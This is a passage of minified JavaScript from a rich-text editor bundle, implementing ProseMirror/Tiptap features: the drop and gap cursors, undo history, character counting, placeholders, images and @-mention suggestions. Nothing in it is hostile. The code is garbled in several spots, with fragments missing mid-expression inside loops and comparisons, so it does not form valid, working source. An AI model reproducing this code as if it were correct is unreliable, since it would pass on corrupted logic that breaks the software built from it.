i=o=>{this[a](o)};return e.dom.addEventListener(a,i),{name:a,handler:i}})}destroy(){this.handlers.forEach(({name:e,handler:n})=>this.editorView.dom.removeEventListener(e,n))}update(e,n){this.cursorPos!=null&&n.doc!=e.state.doc&&(this.cursorPos>e.state.doc.content.size?this.setCursor(null):this.updateOverlay())}setCursor(e){e!=this.cursorPos&&(this.cursorPos=e,e==null?(this.element.parentNode.removeChild(this.element),this.element=null):this.updateOverlay())}updateOverlay(){let e=this.editorView.state.doc.resolve(this.cursorPos),n=!e.parent.inlineContent,r,a=this.editorView.dom,i=a.getBoundingClientRect(),o=i.width/a.offsetWidth,c=i.height/a.offsetHeight;if(n){let m=e.nodeBefore,g=e.nodeAfter;if(m||g){let y=this.editorView.nodeDOM(this.cursorPos-(m?m.nodeSize:0));if(y){let N=y.getBoundingClientRect(),w=m?N.bottom:N.top;m&&g&&(w=(w+this.editorView.nodeDOM(this.cursorPos).getBoundingClientRect().top)/2);let v=this.width/2*c;r={left:N.left,right:N.right,top:w-v,bottom:w+v}}}}if(!r){let m=this.editorView.coordsAtPos(this.cursorPos),g=this.width/2*o;r={left:m.left-g,right:m.left+g,top:m.top,bottom:m.bottom}}let u=this.editorView.dom.offsetParent;this.element||(this.element=u.appendChild(document.createElement("div")),this.class&&(this.element.className=this.class),this.element.style.cssText="position: absolute; z-index: 50; pointer-events: none;",this.color&&(this.element.style.backgroundColor=this.color)),this.element.classList.toggle("prosemirror-dropcursor-block",n),this.element.classList.toggle("prosemirror-dropcursor-inline",!n);let h,f;if(!u||u==document.body&&getComputedStyle(u).position=="static")h=-pageXOffset,f=-pageYOffset;else{let m=u.getBoundingClientRect(),g=m.width/u.offsetWidth,y=m.height/u.offsetHeight;h=m.left-u.scrollLeft*g,f=m.top-u.scrollTop*y}this.element.style.left=(r.left-h)/o+"px",this.element.style.top=(r.top-f)/c+"px",this.element.style.width=(r.right-r.left)/o+"px",this.element.style.height=(r.bottom-r.top)/c+"px"}scheduleRemoval(e){clearTimeout(this.timeout),this.timeout=setTimeout(()=>this.setCursor(null),e)}dragover(e){if(!this.editorView.editable)return;let n=this.editorView.posAtCoords({left:e.clientX,top:e.clientY}),r=n&&n.inside>=0&&this.editorView.state.doc.nodeAt(n.inside),a=r&&r.type.spec.disableDropCursor,i=typeof a=="function"?a(this.editorView,n,e):a;if(n&&!i){let o=n.pos;if(this.editorView.dragging&&this.editorView.dragging.slice){let c=fS(this.editorView.state.doc,o,this.editorView.dragging.slice);c!=null&&(o=c)}this.setCursor(o),this.scheduleRemoval(5e3)}}dragend(){this.scheduleRemoval(20)}drop(){this.scheduleRemoval(20)}dragleave(e){this.editorView.dom.contains(e.relatedTarget)||this.setCursor(null)}}class fn extends rt{constructor(e){super(e,e)}map(e,n){let r=e.resolve(n.map(this.head));return fn.valid(r)?new fn(r):rt.near(r)}content(){return Ie.empty}eq(e){return e instanceof fn&&e.head==this.head}toJSON(){return{type:"gapcursor",pos:this.head}}static fromJSON(e,n){if(typeof n.pos!="number")throw new RangeError("Invalid input for GapCursor.fromJSON");return new fn(e.resolve(n.pos))}getBookmark(){return new K0(this.anchor)}static valid(e){let n=e.parent;if(n.isTextblock||!oz(e)||!lz(e))return!1;let r=n.type.spec.allowGapCursor;if(r!=null)return r;let a=n.contentMatchAt(e.index()).defaultType;return a&&a.isTextblock}static findGapCursorFrom(e,n,r=!1){e:for(;;){if(!r&&fn.valid(e))return e;let a=e.pos,i=null;for(let o=e.depth;;o--){let c=e.node(o);if(n>0?e.indexAfter(o)0){i=c.child(n>0?e.indexAfter(o):e.index(o)-1);break}else if(o==0)return null;a+=n;let u=e.doc.resolve(a);if(fn.valid(u))return u}for(;;){let o=n>0?i.firstChild:i.lastChild;if(!o){if(i.isAtom&&!i.isText&&!Xe.isSelectable(i)){e=e.doc.resolve(a+i.nodeSize*n),r=!1;continue e}break}i=o,a+=n;let c=e.doc.resolve(a);if(fn.valid(c))return c}return null}}}fn.prototype.visible=!1;fn.findFrom=fn.findGapCursorFrom;rt.jsonID("gapcursor",fn);class K0{constructor(e){this.pos=e}map(e){return new K0(e.map(this.pos))}resolve(e){let n=e.resolve(this.pos);return fn.valid(n)?new fn(n):rt.near(n)}}function NC(t){return t.isAtom||t.spec.isolating||t.spec.createGapCursor}function oz(t){for(let e=t.depth;e>=0;e--){let n=t.index(e),r=t.node(e);if(n==0){if(r.type.spec.isolating)return!0;continue}for(let a=r.child(n-1);;a=a.lastChild){if(a.childCount==0&&!a.inlineContent||NC(a.type))return!0;if(a.inlineContent)return!1}}return!0}function lz(t){for(let e=t.depth;e>=0;e--){let n=t.indexAfter(e),r=t.node(e);if(n==r.childCount){if(r.type.spec.isolating)return!0;continue}for(let a=r.child(n);;a=a.firstChild){if(a.childCount==0&&!a.inlineContent||NC(a.type))return!0;if(a.inlineContent)return!1}}return!0}function cz(){return new Kt({props:{decorations:fz,createSelectionBetween(t,e,n){return e.pos==n.pos&&fn.valid(n)?new fn(n):null},handleClick:uz,handleKeyDown:dz,handleDOMEvents:{beforeinput:hz}}})}const dz=k0({ArrowLeft:Ku("horiz",-1),ArrowRight:Ku("horiz",1),ArrowUp:Ku("vert",-1),ArrowDown:Ku("vert",1)});function Ku(t,e){const n=t=="vert"?e>0?"down":"up":e>0?"right":"left";return function(r,a,i){let o=r.selection,c=e>0?o.$to:o.$from,u=o.empty;if(o instanceof Ze){if(!i.endOfTextblock(n)||c.depth==0)return!1;u=!1,c=r.doc.resolve(e>0?c.after():c.before())}let h=fn.findGapCursorFrom(c,e,u);return h?(a&&a(r.tr.setSelection(new fn(h))),!0):!1}}function uz(t,e,n){if(!t||!t.editable)return!1;let r=t.state.doc.resolve(e);if(!fn.valid(r))return!1;let a=t.posAtCoords({left:n.clientX,top:n.clientY});return a&&a.inside>-1&&Xe.isSelectable(t.state.doc.nodeAt(a.inside))?!1:(t.dispatch(t.state.tr.setSelection(new fn(r))),!0)}function hz(t,e){if(e.inputType!="insertCompositionText"||!(t.state.selection instanceof fn))return!1;let{$from:n}=t.state.selection,r=n.parent.contentMatchAt(n.index()).findWrapping(t.state.schema.nodes.text);if(!r)return!1;let a=be.empty;for(let o=r.length-1;o>=0;o--)a=be.from(r[o].createAndFill(null,a));let i=t.state.tr.replace(n.pos,n.pos,new Ie(a,0,0));return i.setSelection(Ze.near(i.doc.resolve(n.pos+1))),t.dispatch(i),!1}function fz(t){if(!(t.selection instanceof fn))return null;let e=document.createElement("div");return e.className="ProseMirror-gapcursor",$t.create(t.doc,[An.widget(t.selection.head,e,{key:"gapcursor"})])}var sf=200,Vn=function(){};Vn.prototype.append=function(e){return e.length?(e=Vn.from(e),!this.length&&e||e.length=n?Vn.empty:this.sliceInner(Math.max(0,e),Math.min(this.length,n))};Vn.prototype.get=function(e){if(!(e<0||e>=this.length))return this.getInner(e)};Vn.prototype.forEach=function(e,n,r){n===void 0&&(n=0),r===void 0&&(r=this.length),n<=r?this.forEachInner(e,n,r,0):this.forEachInvertedInner(e,n,r,0)};Vn.prototype.map=function(e,n,r){n===void 0&&(n=0),r===void 0&&(r=this.length);var a=[];return this.forEach(function(i,o){return a.push(e(i,o))},n,r),a};Vn.from=function(e){return e instanceof Vn?e:e&&e.length?new wC(e):Vn.empty};var wC=(function(t){function e(r){t.call(this),this.values=r}t&&(e.__proto__=t),e.prototype=Object.create(t&&t.prototype),e.prototype.constructor=e;var n={length:{configurable:!0},depth:{configurable:!0}};return e.prototype.flatten=function(){return this.values},e.prototype.sliceInner=function(a,i){return a==0&&i==this.length?this:new e(this.values.slice(a,i))},e.prototype.getInner=function(a){return this.values[a]},e.prototype.forEachInner=function(a,i,o,c){for(var u=i;u=o;u--)if(a(this.values[u],c+u)===!1)return!1},e.prototype.leafAppend=function(a){if(this.length+a.length<=sf)return new e(this.values.concat(a.flatten()))},e.prototype.leafPrepend=function(a){if(this.length+a.length<=sf)return new e(a.flatten().concat(this.values))},n.length.get=function(){return this.values.length},n.depth.get=function(){return 0},Object.defineProperties(e.prototype,n),e})(Vn);Vn.empty=new wC([]);var pz=(function(t){function e(n,r){t.call(this),this.left=n,this.right=r,this.length=n.length+r.length,this.depth=Math.max(n.depth,r.depth)+1}return t&&(e.__proto__=t),e.prototype=Object.create(t&&t.prototype),e.prototype.constructor=e,e.prototype.flatten=function(){return this.left.flatten().concat(this.right.flatten())},e.prototype.getInner=function(r){return rc&&this.right.forEachInner(r,Math.max(a-c,0),Math.min(this.length,i)-c,o+c)===!1)return!1},e.prototype.forEachInvertedInner=function(r,a,i,o){var c=this.left.length;if(a>c&&this.right.forEachInvertedInner(r,a-c,Math.max(i,c)-c,o+c)===!1||i=i?this.right.slice(r-i,a-i):this.left.slice(r,i).append(this.right.slice(0,a-i))},e.prototype.leafAppend=function(r){var a=this.right.leafAppend(r);if(a)return new e(this.left,a)},e.prototype.leafPrepend=function(r){var a=this.left.leafPrepend(r);if(a)return new e(a,this.right)},e.prototype.appendInner=function(r){return this.left.depth>=Math.max(this.right.depth,r.depth)+1?new e(this.left,new e(this.right,r)):new e(this,r)},e})(Vn);const mz=500;class js{constructor(e,n){this.items=e,this.eventCount=n}popEvent(e,n){if(this.eventCount==0)return null;let r=this.items.length;for(;;r--)if(this.items.get(r-1).selection){--r;break}let a,i;n&&(a=this.remapping(r,this.items.length),i=a.maps.length);let o=e.tr,c,u,h=[],f=[];return this.items.forEach((m,g)=>{if(!m.step){a||(a=this.remapping(r,g+1),i=a.maps.length),i--,f.push(m);return}if(a){f.push(new Xa(m.map));let y=m.step.map(a.slice(i)),N;y&&o.maybeStep(y).doc&&(N=o.mapping.maps[o.mapping.maps.length-1],h.push(new Xa(N,void 0,void 0,h.length+f.length))),i--,N&&a.appendMap(N,i)}else o.maybeStep(m.step);if(m.selection)return c=a?m.selection.map(a.slice(i)):m.selection,u=new js(this.items.slice(0,r).append(f.reverse().concat(h)),this.eventCount-1),!1},this.items.length,0),{remaining:u,transform:o,selection:c}}addTransform(e,n,r,a){let i=[],o=this.eventCount,c=this.items,u=!a&&c.length?c.get(c.length-1):null;for(let f=0;fxz&&(c=gz(c,h),o-=h),new js(c.append(i),o)}remapping(e,n){let r=new rd;return this.items.forEach((a,i)=>{let o=a.mirrorOffset!=null&&i-a.mirrorOffset>=e?r.maps.length-a.mirrorOffset:void 0;r.appendMap(a.map,o)},e,n),r}addMaps(e){return this.eventCount==0?this:new js(this.items.append(e.map(n=>new Xa(n))),this.eventCount)}rebased(e,n){if(!this.eventCount)return this;let r=[],a=Math.max(0,this.items.length-n),i=e.mapping,o=e.steps.length,c=this.eventCount;this.items.forEach(g=>{g.selection&&c--},a);let u=n;this.items.forEach(g=>{let y=i.getMirror(--u);if(y==null)return;o=Math.min(o,y);let N=i.maps[y];if(g.step){let w=e.steps[y].invert(e.docs[y]),v=g.selection&&g.selection.map(i.slice(u+1,y));v&&c++,r.push(new Xa(N,w,v))}else r.push(new Xa(N))},a);let h=[];for(let g=n;gmz&&(m=m.compress(this.items.length-r.length)),m}emptyItemCount(){let e=0;return this.items.forEach(n=>{n.step||e++}),e}compress(e=this.items.length){let n=this.remapping(0,e),r=n.maps.length,a=[],i=0;return this.items.forEach((o,c)=>{if(c>=e)a.push(o),o.selection&&i++;else if(o.step){let u=o.step.map(n.slice(r)),h=u&&u.getMap();if(r--,h&&n.appendMap(h,r),u){let f=o.selection&&o.selection.map(n.slice(r));f&&i++;let m=new Xa(h.invert(),u,f),g,y=a.length-1;(g=a.length&&a[y].merge(m))?a[y]=g:a.push(m)}}else o.map&&r--},this.items.length,0),new js(Vn.from(a.reverse()),i)}}js.empty=new js(Vn.empty,0);function gz(t,e){let n;return t.forEach((r,a)=>{if(r.selection&&e--==0)return n=a,!1}),t.slice(n)}let Xa=class jC{constructor(e,n,r,a){this.map=e,this.step=n,this.selection=r,this.mirrorOffset=a}merge(e){if(this.step&&e.step&&!e.selection){let n=e.step.merge(this.step);if(n)return new jC(n.getMap().invert(),n,this.selection)}}};class ri{constructor(e,n,r,a,i){this.done=e,this.undone=n,this.prevRanges=r,this.prevTime=a,this.prevComposition=i}}const xz=20;function yz(t,e,n,r){let a=n.getMeta(mo),i;if(a)return a.historyState;n.getMeta(Nz)&&(t=new ri(t.done,t.undone,null,0,-1));let o=n.getMeta("appendedTransaction");if(n.steps.length==0)return t;if(o&&o.getMeta(mo))return o.getMeta(mo).redo?new ri(t.done.addTransform(n,void 0,r,sh(e)),t.undone,BN(n.mapping.maps),t.prevTime,t.prevComposition):new ri(t.done,t.undone.addTransform(n,void 0,r,sh(e)),null,t.prevTime,t.prevComposition);if(n.getMeta("addToHistory")!==!1&&!(o&&o.getMeta("addToHistory")===!1)){let c=n.getMeta("composition"),u=t.prevTime==0||!o&&t.prevComposition!=c&&(t.prevTime<(n.time||0)-r.newGroupDelay||!bz(n,t.prevRanges)),h=o?gg(t.prevRanges,n.mapping):BN(n.mapping.maps);return new ri(t.done.addTransform(n,u?e.selection.getBookmark():void 0,r,sh(e)),js.empty,h,n.time,c??t.prevComposition)}else return(i=n.getMeta("rebased"))?new ri(t.done.rebased(n,i),t.undone.rebased(n,i),gg(t.prevRanges,n.mapping),t.prevTime,t.prevComposition):new ri(t.done.addMaps(n.mapping.maps),t.undone.addMaps(n.mapping.maps),gg(t.prevRanges,n.mapping),t.prevTime,t.prevComposition)}function bz(t,e){if(!e)return!1;if(!t.docChanged)return!0;let n=!1;return t.mapping.maps[0].forEach((r,a)=>{for(let i=0;i=e[i]&&(n=!0)}),n}function BN(t){let e=[];for(let n=t.length-1;n>=0&&e.length==0;n--)t[n].forEach((r,a,i,o)=>e.push(i,o));return e}function gg(t,e){if(!t)return null;let n=[];for(let r=0;r{let a=mo.getState(n);if(!a||(t?a.undone:a.done).eventCount==0)return!1;if(r){let i=vz(a,n,t);i&&r(e?i.scrollIntoView():i)}return!0}}const SC=kC(!1,!0),CC=kC(!0,!0);mn.create({name:"characterCount",addOptions(){return{limit:null,mode:"textSize",textCounter:t=>t.length,wordCounter:t=>t.split(" ").filter(e=>e!=="").length}},addStorage(){return{characters:()=>0,words:()=>0}},onBeforeCreate(){this.storage.characters=t=>{const e=(t==null?void 0:t.node)||this.editor.state.doc;if(((t==null?void 0:t.mode)||this.options.mode)==="textSize"){const r=e.textBetween(0,e.content.size,void 0," ");return this.options.textCounter(r)}return e.nodeSize},this.storage.words=t=>{const e=(t==null?void 0:t.node)||this.editor.state.doc,n=e.textBetween(0,e.content.size," "," ");return this.options.wordCounter(n)}},addProseMirrorPlugins(){let t=!1;return[new Kt({key:new tn("characterCount"),appendTransaction:(e,n,r)=>{if(t)return;const a=this.options.limit;if(a==null||a===0){t=!0;return}const i=this.storage.characters({node:r.doc});if(i>a){const o=i-a,c=0,u=o;console.warn(`[CharacterCount] Initial content exceeded limit of ${a} characters. Content was automatically trimmed.`);const h=r.tr.deleteRange(c,u);return t=!0,h}t=!0},filterTransaction:(e,n)=>{const r=this.options.limit;if(!e.docChanged||r===0||r===null||r===void 0)return!0;const a=this.storage.characters({node:n.doc}),i=this.storage.characters({node:e.doc});if(i<=r||a>r&&i>r&&i<=a)return!0;if(a>r&&i>r&&i>a||!e.getMeta("paste"))return!1;const c=e.selection.$head.pos,u=i-r,h=c-u,f=c;return e.deleteRange(h,f),!(this.storage.characters({node:e.doc})>r)}})]}});var jz=mn.create({name:"dropCursor",addOptions(){return{color:"currentColor",width:1,class:void 0}},addProseMirrorPlugins(){return[az(this.options)]}});mn.create({name:"focus",addOptions(){return{className:"has-focus",mode:"all"}},addProseMirrorPlugins(){return[new Kt({key:new tn("focus"),props:{decorations:({doc:t,selection:e})=>{const{isEditable:n,isFocused:r}=this.editor,{anchor:a}=e,i=[];if(!n||!r)return $t.create(t,[]);let o=0;this.options.mode==="deepest"&&t.descendants((u,h)=>{if(u.isText)return;if(!(a>=h&&a<=h+u.nodeSize-1))return!1;o+=1});let c=0;return t.descendants((u,h)=>{if(u.isText||!(a>=h&&a<=h+u.nodeSize-1))return!1;if(c+=1,this.options.mode==="deepest"&&o-c>0||this.options.mode==="shallowest"&&c>1)return this.options.mode==="deepest";i.push(An.node(h,h+u.nodeSize,{class:this.options.className}))}),$t.create(t,i)}}})]}});var kz=mn.create({name:"gapCursor",addProseMirrorPlugins(){return[cz()]},extendNodeSchema(t){var e;const n={name:t.name,options:t.options,storage:t.storage};return{allowGapCursor:(e=jt(Ue(t,"allowGapCursor",n)))!=null?e:null}}}),HN="placeholder";function Sz(t){return t.replace(/\s+/g,"-").replace(/[^a-zA-Z0-9-]/g,"").replace(/^[0-9-]+/,"").replace(/^-+/,"").toLowerCase()}var Cz=mn.create({name:"placeholder",addOptions(){return{emptyEditorClass:"is-editor-empty",emptyNodeClass:"is-empty",dataAttribute:HN,placeholder:"Write something …",showOnlyWhenEditable:!0,showOnlyCurrent:!0,includeChildren:!1}},addProseMirrorPlugins(){const t=this.options.dataAttribute?`data-${Sz(this.options.dataAttribute)}`:`data-${HN}`;return[new Kt({key:new tn("placeholder"),props:{decorations:({doc:e,selection:n})=>{const r=this.editor.isEditable||!this.options.showOnlyWhenEditable,{anchor:a}=n,i=[];if(!r)return null;const o=this.editor.isEmpty;return e.descendants((c,u)=>{const h=a>=u&&a<=u+c.nodeSize,f=!c.isLeaf&&Of(c);if((h||!this.options.showOnlyCurrent)&&f){const m=[this.options.emptyNodeClass];o&&m.push(this.options.emptyEditorClass);const g=An.node(u,u+c.nodeSize,{class:m.join(" "),[t]:typeof this.options.placeholder=="function"?this.options.placeholder({editor:this.editor,node:c,pos:u,hasAnchor:h}):this.options.placeholder});i.push(g)}return this.options.includeChildren}),$t.create(e,i)}}})]}});mn.create({name:"selection",addOptions(){return{className:"selection"}},addProseMirrorPlugins(){const{editor:t,options:e}=this;return[new Kt({key:new tn("selection"),props:{decorations(n){return n.selection.empty||t.isFocused||!t.isEditable||A2(n.selection)||t.view.dragging?null:$t.create(n.doc,[An.inline(n.selection.from,n.selection.to,{class:e.className})])}}})]}});function WN({types:t,node:e}){return e&&Array.isArray(t)&&t.includes(e.type)||(e==null?void 0:e.type)===t}var Ez=mn.create({name:"trailingNode",addOptions(){return{node:void 0,notAfter:[]}},addProseMirrorPlugins(){var t;const e=new tn(this.name),n=this.options.node||((t=this.editor.schema.topNodeType.contentMatch.defaultType)==null?void 0:t.name)||"paragraph",r=Object.entries(this.editor.schema.nodes).map(([,a])=>a).filter(a=>(this.options.notAfter||[]).concat(n).includes(a.name));return[new Kt({key:e,appendTransaction:(a,i,o)=>{const{doc:c,tr:u,schema:h}=o,f=e.getState(o),m=c.content.size,g=h.nodes[n];if(f)return u.insert(m,g.create())},state:{init:(a,i)=>{const o=i.tr.doc.lastChild;return!WN({node:o,types:r})},apply:(a,i)=>{if(!a.docChanged||a.getMeta("__uniqueIDTransaction"))return i;const o=a.doc.lastChild;return!WN({node:o,types:r})}}})]}}),Tz=mn.create({name:"undoRedo",addOptions(){return{depth:100,newGroupDelay:500}},addCommands(){return{undo:()=>({state:t,dispatch:e})=>SC(t,e),redo:()=>({state:t,dispatch:e})=>CC(t,e)}},addProseMirrorPlugins(){return[wz(this.options)]},addKeyboardShortcuts(){return{"Mod-z":()=>this.editor.commands.undo(),"Shift-Mod-z":()=>this.editor.commands.redo(),"Mod-y":()=>this.editor.commands.redo(),"Mod-я":()=>this.editor.commands.undo(),"Shift-Mod-я":()=>this.editor.commands.redo()}}}),Mz=mn.create({name:"starterKit",addExtensions(){var t,e,n,r;const a=[];return this.options.bold!==!1&&a.push(Z_.configure(this.options.bold)),this.options.blockquote!==!1&&a.push(G_.configure(this.options.blockquote)),this.options.bulletList!==!1&&a.push(uC.configure(this.options.bulletList)),this.options.code!==!1&&a.push(n7.configure(this.options.code)),this.options.codeBlock!==!1&&a.push(a7.configure(this.options.codeBlock)),this.options.document!==!1&&a.push(i7.configure(this.options.document)),this.options.dropcursor!==!1&&a.push(jz.configure(this.options.dropcursor)),this.options.gapcursor!==!1&&a.push(kz.configure(this.options.gapcursor)),this.options.hardBreak!==!1&&a.push(o7.configure(this.options.hardBreak)),this.options.heading!==!1&&a.push(l7.configure(this.options.heading)),this.options.undoRedo!==!1&&a.push(Tz.configure(this.options.undoRedo)),this.options.horizontalRule!==!1&&a.push(c7.configure(this.options.horizontalRule)),this.options.italic!==!1&&a.push(p7.configure(this.options.italic)),this.options.listItem!==!1&&a.push(hC.configure(this.options.listItem)),this.options.listKeymap!==!1&&a.push(yC.configure((t=this.options)==null?void 0:t.listKeymap)),this.options.link!==!1&&a.push($7.configure((e=this.options)==null?void 0:e.link)),this.options.orderedList!==!1&&a.push(vC.configure(this.options.orderedList)),this.options.paragraph!==!1&&a.push(Z7.configure(this.options.paragraph)),this.options.strike!==!1&&a.push(nz.configure(this.options.strike)),this.options.text!==!1&&a.push(rz.configure(this.options.text)),this.options.underline!==!1&&a.push(sz.configure((n=this.options)==null?void 0:n.underline)),this.options.trailingNode!==!1&&a.push(Ez.configure((r=this.options)==null?void 0:r.trailingNode)),a}}),Az=Mz,Iz=/(?:^|\s)(!\[(.+|:?)]\((\S+)(?:(?:\s+)["'](\S+)["'])?\))$/,Rz=Cn.create({name:"image",addOptions(){return{inline:!1,allowBase64:!1,HTMLAttributes:{},resize:!1}},inline(){return this.options.inline},group(){return this.options.inline?"inline":"block"},draggable:!0,addAttributes(){return{src:{default:null},alt:{default:null},title:{default:null},width:{default:null},height:{default:null}}},parseHTML(){return[{tag:this.options.allowBase64?"img[src]":'img[src]:not([src^="data:"])'}]},renderHTML({HTMLAttributes:t}){return["img",St(this.options.HTMLAttributes,t)]},parseMarkdown:(t,e)=>e.createNode("image",{src:t.href,title:t.title,alt:t.text}),renderMarkdown:t=>{var e,n,r,a,i,o;const c=(n=(e=t.attrs)==null?void 0:e.src)!=null?n:"",u=(a=(r=t.attrs)==null?void 0:r.alt)!=null?a:"",h=(o=(i=t.attrs)==null?void 0:i.title)!=null?o:"";return h?`![${u}](${c} "${h}")`:`![${u}](${c})`},addNodeView(){if(!this.options.resize||!this.options.resize.enabled||typeof document>"u")return null;const{directions:t,minWidth:e,minHeight:n,alwaysPreserveAspectRatio:r}=this.options.resize;return({node:a,getPos:i,HTMLAttributes:o,editor:c})=>{const u=document.createElement("img");Object.entries(o).forEach(([m,g])=>{if(g!=null)switch(m){case"width":case"height":break;default:u.setAttribute(m,g);break}}),u.src=o.src;const h=new D6({element:u,editor:c,node:a,getPos:i,onResize:(m,g)=>{u.style.width=`${m}px`,u.style.height=`${g}px`},onCommit:(m,g)=>{const y=i();y!==void 0&&this.editor.chain().setNodeSelection(y).updateAttributes(this.name,{width:m,height:g}).run()},onUpdate:(m,g,y)=>m.type===a.type,options:{directions:t,min:{width:e,height:n},preserveAspectRatio:r===!0}}),f=h.dom;return f.style.visibility="hidden",f.style.pointerEvents="none",u.onload=()=>{f.style.visibility="",f.style.pointerEvents=""},h}},addCommands(){return{setImage:t=>({commands:e})=>e.insertContent({type:this.name,attrs:t})}},addInputRules(){return[q2({find:Iz,type:this.type,getAttributes:t=>{const[,,e,n,r]=t;return{src:n,alt:e,title:r}}})]}}),Pz=Rz;function Oz(t){var e;const{char:n,allowSpaces:r,allowToIncludeChar:a,allowedPrefixes:i,startOfLine:o,$position:c}=t,u=r&&!a,h=_6(n),f=new RegExp(`\\s${h}$`),m=o?"^":"",g=a?"":h,y=u?new RegExp(`${m}${h}.*?(?=\\s${g}|$)`,"gm"):new RegExp(`${m}(?:^)?${h}[^\\s${g}]*`,"gm"),N=((e=c.nodeBefore)==null?void 0:e.isText)&&c.nodeBefore.text;if(!N)return null;const w=c.pos-N.length,v=Array.from(N.matchAll(y)).pop();if(!v||v.input===void 0||v.index===void 0)return null;const k=v.input.slice(Math.max(0,v.index-1),v.index),C=new RegExp(`^[${i==null?void 0:i.join("")}\0]?$`).test(k);if(i!==null&&!C)return null;const E=w+v.index;let T=E+v[0].length;return u&&f.test(N.slice(T-1,T+1))&&(v[0]+=" ",T+=1),E=c.pos?{range:{from:E,to:T},query:v[0].slice(n.length),text:v[0]}:null}var Dz=new tn("suggestion");function Lz({pluginKey:t=Dz,editor:e,char:n="@",allowSpaces:r=!1,allowToIncludeChar:a=!1,allowedPrefixes:i=[" "],startOfLine:o=!1,decorationTag:c="span",decorationClass:u="suggestion",decorationContent:h="",decorationEmptyClass:f="is-empty",command:m=()=>null,items:g=()=>[],render:y=()=>({}),allow:N=()=>!0,findSuggestionMatch:w=Oz,shouldShow:v}){let k;const C=y==null?void 0:y(),E=()=>{const L=e.state.selection.$anchor.pos,R=e.view.coordsAtPos(L),{top:D,right:_,bottom:Z,left:ne}=R;try{return new DOMRect(ne,D,_-ne,Z-D)}catch{return null}},T=(L,R)=>R?()=>{const D=t.getState(e.state),_=D==null?void 0:D.decorationId,Z=L.dom.querySelector(`[data-decoration-id="${_}"]`);return(Z==null?void 0:Z.getBoundingClientRect())||null}:E;function I(L,R){var D;try{const Z=t.getState(L.state),ne=Z!=null&&Z.decorationId?L.dom.querySelector(`[data-decoration-id="${Z.decorationId}"]`):null,fe={editor:e,range:(Z==null?void 0:Z.range)||{from:0,to:0},query:(Z==null?void 0:Z.query)||null,text:(Z==null?void 0:Z.text)||null,items:[],command:xe=>m({editor:e,range:(Z==null?void 0:Z.range)||{from:0,to:0},props:xe}),decorationNode:ne,clientRect:T(L,ne)};(D=C==null?void 0:C.onExit)==null||D.call(C,fe)}catch{}const _=L.state.tr.setMeta(R,{exit:!0});L.dispatch(_)}const O=new Kt({key:t,view(){return{update:async(L,R)=>{var D,_,Z,ne,fe,xe,$;const H=(D=this.key)==null?void 0:D.getState(R),oe=(_=this.key)==null?void 0:_.getState(L.state),P=H.active&&oe.active&&H.range.from!==oe.range.from,K=!H.active&&oe.active,V=H.active&&!oe.active,z=!K&&!V&&H.query!==oe.query,U=K||P&&z,le=z||P,J=V||P&&z;if(!U&&!le&&!J)return;const Y=J&&!U?H:oe,B=L.dom.querySelector(`[data-decoration-id="${Y.decorationId}"]`);k={editor:e,range:Y.range,query:Y.query,text:Y.text,items:[],command:re=>m({editor:e,range:Y.range,props:re}),decorationNode:B,clientRect:T(L,B)},U&&((Z=C==null?void 0:C.onBeforeStart)==null||Z.call(C,k)),le&&((ne=C==null?void 0:C.onBeforeUpdate)==null||ne.call(C,k)),(le||U)&&(k.items=await g({editor:e,query:Y.query})),J&&((fe=C==null?void 0:C.onExit)==null||fe.call(C,k)),le&&((xe=C==null?void 0:C.onUpdate)==null||xe.call(C,k)),U&&(($=C==null?void 0:C.onStart)==null||$.call(C,k))},destroy:()=>{var L;k&&((L=C==null?void 0:C.onExit)==null||L.call(C,k))}}},state:{init(){return{active:!1,range:{from:0,to:0},query:null,text:null,composing:!1}},apply(L,R,D,_){const{isEditable:Z}=e,{composing:ne}=e.view,{selection:fe}=L,{empty:xe,from:$}=fe,H={...R},oe=L.getMeta(t);if(oe&&oe.exit)return H.active=!1,H.decorationId=null,H.range={from:0,to:0},H.query=null,H.text=null,H;if(H.composing=ne,Z&&(xe||e.view.composing)){($R.range.to)&&!ne&&!R.composing&&(H.active=!1);const P=w({char:n,allowSpaces:r,allowToIncludeChar:a,allowedPrefixes:i,startOfLine:o,$position:fe.$from}),K=`id_${Math.floor(Math.random()*4294967295)}`;P&&N({editor:e,state:_,range:P.range,isActive:R.active})&&(!v||v({editor:e,range:P.range,query:P.query,text:P.text,transaction:L}))?(H.active=!0,H.decorationId=R.decorationId?R.decorationId:K,H.range=P.range,H.query=P.query,H.text=P.text):H.active=!1}else H.active=!1;return H.active||(H.decorationId=null,H.range={from:0,to:0},H.query=null,H.text=null),H}},props:{handleKeyDown(L,R){var D,_,Z,ne;const{active:fe,range:xe}=O.getState(L.state);if(!fe)return!1;if(R.key==="Escape"||R.key==="Esc"){const H=O.getState(L.state),oe=(D=k==null?void 0:k.decorationNode)!=null?D:null,P=oe??(H!=null&&H.decorationId?L.dom.querySelector(`[data-decoration-id="${H.decorationId}"]`):null);if(((_=C==null?void 0:C.onKeyDown)==null?void 0:_.call(C,{view:L,event:R,range:H.range}))||!1)return!0;const V={editor:e,range:H.range,query:H.query,text:H.text,items:[],command:z=>m({editor:e,range:H.range,props:z}),decorationNode:P,clientRect:P?()=>P.getBoundingClientRect()||null:null};return(Z=C==null?void 0:C.onExit)==null||Z.call(C,V),I(L,t),!0}return((ne=C==null?void 0:C.onKeyDown)==null?void 0:ne.call(C,{view:L,event:R,range:xe}))||!1},decorations(L){const{active:R,range:D,decorationId:_,query:Z}=O.getState(L);if(!R)return null;const ne=!(Z!=null&&Z.length),fe=[u];return ne&&fe.push(f),$t.create(L.doc,[An.inline(D.from,D.to,{nodeName:c,class:fe.join(" "),"data-decoration-id":_,"data-decoration-content":h})])}}});return O}function _z({editor:t,overrideSuggestionOptions:e,extensionName:n,char:r="@"}){const a=new tn;return{editor:t,char:r,pluginKey:a,command:({editor:i,range:o,props:c})=>{var u,h,f;const m=i.view.state.selection.$to.nodeAfter;((u=m==null?void 0:m.text)==null?void 0:u.startsWith(" "))&&(o.to+=1),i.chain().focus().insertContentAt(o,[{type:n,attrs:{...c,mentionSuggestionChar:r}},{type:"text",text:" "}]).run(),(f=(h=i.view.dom.ownerDocument.defaultView)==null?void 0:h.getSelection())==null||f.collapseToEnd()},allow:({state:i,range:o})=>{const c=i.doc.resolve(o.from),u=i.schema.nodes[n];return!!c.parent.type.contentMatch.matchType(u)},...e}}function EC(t){return(t.options.suggestions.length?t.options.suggestions:[t.options.suggestion]).map(e=>_z({editor:t.editor,overrideSuggestionOptions:e,extensionName:t.name,char:e.char}))}function UN(t,e){const n=EC(t),r=n.find(a=>a.char===e);return r||(n.length?n[0]:null)}var 